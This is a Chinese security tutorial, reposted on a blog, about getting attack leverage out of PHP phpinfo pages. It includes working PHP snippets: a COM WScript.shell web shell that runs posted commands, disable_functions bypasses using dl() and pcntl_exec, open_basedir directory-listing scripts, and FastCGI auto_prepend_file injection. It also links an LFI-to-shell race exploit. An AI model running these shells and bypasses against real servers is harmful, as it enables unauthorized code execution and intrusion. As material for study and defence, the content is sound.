专栏首页HACK学习干货技巧 | phpinfo信息利用

干货技巧 | phpinfo信息利用

Phpinfo页面利用

system

获取具体版本,可以用来提权

extension_dir

php扩展的路径,图省事没用lamp包有点捞…(这里还是说下linux不推荐用phpstudy,很多linux装了phpstudy系统会崩)

http_x_real_ip

直接获取真实ip,无视代理、cdn。本地环境并没有发现这个参数,应该是ini配置问题。顺便说下HTTP_X_FORWARDED_FOR的区别,HTTP_X_FORWARDED_FOR会记录代理过程且可伪造

Web根目录

找不到路径,报错/找phpinfo常规操作了。

临时文件

phpinfo-lfi getshell 很老的洞了,看到学习下

像phpinfo页面post数据可以在_FILES[“file1”]中看到上传的临时文件,先构造简单上传页面。

其中PHP引擎对enctype=”multipart/form-data”这种请求的处理过程如下:

4、删除临时文件

这里可以看到,临时文件可以成功写入,配合lfi即可getshell,不过临时文件很块就会被删除,利用分块传输竞争时间绕过

https://www.insomniasec.com/downloads/publications/phpinfolfi.py

利用脚本,不过我本地测试失败了

这里说下这个漏洞感觉还是比较鸡肋(条件有点苛刻)

1、phpinfo
2、开启了文件缓存
3、没有gpc等函数限制
4、开启lfi,有包含点

allow_url_include

文件包含有多重要自不必多说。

asp_tags

php标签有四种格式,这个是asp风格的,默认不开启。可以上传.haccess/user.ini 绕过(php7移除)

disable_functions

禁用函数列表:

(dl)
exec
system
passthru
popen
proc_open
pcntl_exec
shell_exec
绕过方式:

1、记得Seay代码审计里说过dl()函数(需要enable_dl开启)

<?php
//PHP5调用方法
dl('../../../../../home/apache/htdocs/php5.so');
spiderbiguan('uname -a');//调用函数
?>

2、编译php时如果加了-–enable-pcntl选项,就可以使用pcntl_exec()来执行命令。PHP>4.2.0

<?php pcntl_exec(“/bin/bash”, array(“/tmp/b4dboy.sh”));?>

#/tmp/b4dboy.sh
#!/bin/bash
ls -l /

3、利用ImageMagick漏洞绕过disable_function(应该是要组件与扩展都有具体没测试)

https://www.waitalone.cn/imagemagic-bypass-disable_function.html

4、利用环境变量LD_PRELOAD来绕过

http://www.vuln.cn/6784的确是一种好方法,利用起来也没有那么繁琐。

5、win系统组件

<?php
$command=$_POST[a];
$wsh = new COM('WScript.shell'); // 生成一个COM对象
$exec = $wsh->exec('cmd.exe /c '.$command);  //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput
?>

magic_quotes_gpc

魔术引号,它是用来实现addslshes()和stripslashes()这两个功能的,对SQL注入进行防御。顺便提一嘴用了addslshes()除非是有编码问题要不然是不存在注入的。

open_basedir

将用户可操作的文件限制在某目录下

绕过方式:

linux下绕过:

https://www.leavesongs.com/PHP/php-bypass-open-basedir-list-directory.html

(大佬博客我这里也复现下)

1、利用DirectoryIterator + Glob 直接列举目录(linux)

<?php
printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir'));
$file_list = array();
// normal files
$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {
    $file_list[] = $f->__toString();
}
// special files (starting with a dot(.))
$it = new DirectoryIterator("glob:///.*");
foreach($it as $f) {
    $file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
        echo "{$f}<br/>";
}
?>

2、realpath列举目录

利用realpath对传入路径的回显不同加上通配符进行列举。本地环境linux就没有进行测试。

<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
set_error_handler('isexists');
$dir = 'd:/test/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for ($i=0; $i < strlen($chars); $i++) {
    $file = $dir . $chars[$i] . '<><';
    realpath($file);
}
function isexists($errno, $errstr)
{
    $regexp = '/File\((.*)\) is not within/';
    preg_match($regexp, $errstr, $matches);
    if (isset($matches[1])) {
        printf("%s <br/>", $matches[1]);
    }
}
?>

首先设置open_basedir为当前目录,并枚举d:/test/目录下的所有文件。将错误处理交给isexists函数,在isexists函数中匹配出目录名称,并打印出来。

3、SplFileInfo::getRealPath列举目录

不需要考虑open_basedir开不开起。

<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
$basedir = 'D:/test/';
$arr = array();
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
for ($i=0; $i < strlen($chars); $i++) {
    $info = new SplFileInfo($basedir . $chars[$i] . '<><');
    $re = $info->getRealPath();
    if ($re) {
        dump($re);
    }
}
function dump($s){
    echo $s . '<br/>';
    ob_flush();
    flush();
}
?>

还有GD库imageftbbox/imagefttext列举目录bindtextdomain暴力猜解目录,基本也都是要暴力破解,效率比较低。还有这篇文章php5全版本绕过open_basedir读文件脚本给跪了

https://www.leavesongs.com/bypass-open-basedir-readfile.html

扩展

imagick

这个的远程执行

libxml

libxml 2.9以前的版本默认支持并开启了外部实体的引用,服务端解析用户提交的 xml 文件时未对 xml 文件引用的外部实体(含外部普通实体和外部参数实体)做合适的处理,会导致XXE。

memcache

Memcache未授权访问漏洞利用及修复:

http://blog.nsfocus.net/memcache-unauthorized-access-exploit/

redis

这个不多说了……

session

xdebug

GOPHER

利用 Gopher 协议拓展攻击面:

https://blog.chaitin.cn/gopher-attack-surfaces/

看了下尝试复现没有成功,我的理解是首先要支持gopher协议,然后找到一个能执行curl会话的参数,构造gopher格式的payload以post格式去执行反弹shell。(并没有看懂是怎么利用的)

fastcgi

https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html#php-fpmfastcgi

通过fastcgi传入环境变量,设置

'PHP_VALUE': 'auto_prepend_file =php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'

将执行的代码放在body中执行任意代码。

总结

从刚接触安全的时候就知道phpinfo里有很重要的信息,然而就在前几天我还直接提了个信息泄露(还撞了,丢脸),复现完真的学到很多。

参考链接:

https://www.freebuf.com/articles/web/79830.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0151653.html

https://bbs.ichunqiu.com/thread-3234-1-1.html

原文地址

http://zeroyu.xyz/2018/11/13/what-phpinfo-can-tell-we/

作者:Phyb0x,zeroyu

参考来源:Phyb0x's blog&zeroyu‘s blog

如有侵权,请联系删除

本文分享自微信公众号 - HACK学习呀(Hacker1961X),作者:Phyb0x

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-10-31

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 红队攻防之邮箱打点入口

    随着互联网信息快速发展,办公已经离不开网络的支持。邮箱成为了人们常用的办公方式之一。

    HACK学习
  • 干货 | 超详细的渗透测试思维导图

    经常有人问我渗透流程和思路,特此分享一张曾经在Github上看到的一张超级详细渗透测试思维导图,值得学习

    HACK学习
  • 漏洞挖掘之信息收集

    对一个网站挖掘的深浅来说就得看你收集的如何,这说明信息收集在漏洞挖掘中是非常的重要的。

    HACK学习
  • 【连载-3】数据中心网络虚拟化 隧道技术

    如何实现不同租户和应用间的地址空间和数据流量的隔离是实现数据中心网络虚拟化首先需要解决的几个问题之一。所谓地址空间的隔离是指不同租户和应用之间的网络(ip)地址...

    SDNLAB
  • 数据中心网络虚拟化 隧道技术

    如何实现不同租户和应用间的地址空间和数据流量的隔离是实现数据中心网络虚拟化首先需要解决的几个问题之一。所谓地址空间的隔离是指不同租户和应用之间的网络(ip)地址...

    SDNLAB
  • Network Embedding

    基于Hierarchical softmax 的skip-gram 模型,优化的目标函数如

    超然
  • 发现一个很N且免费的html5拓扑图 关系图 生成组件

    旺财的城堡
  • 数据恢复-SQL被注入攻击程序的应对策略(ORA-16703)

    前几天某客户紧急求助我们,其Oracle数据库由于重启之后无法正常启动。最后通过数据库全备进行了一天一夜的恢复,最后仍然无法正常打开数据库。 alter dat...

    数据和云
  • 11-通俗解释keystone

    如果把CTF比赛比作Project,参赛的选手就是User,CTF比赛可以提供交流学习、测评技能、学校之间交流合作等多种服务(Service);

    小朋友呢
  • 数据恢复-SQL被注入攻击程序的应对策略

    前几天某客户紧急求助我们,其Oracle数据库由于重启之后无法正常启动。最后通过数据库全备进行了一天一夜的恢复,最后仍然无法正常打开数据库。 alter dat...

    企鹅号小编

扫码关注云+社区

领取腾讯云代金券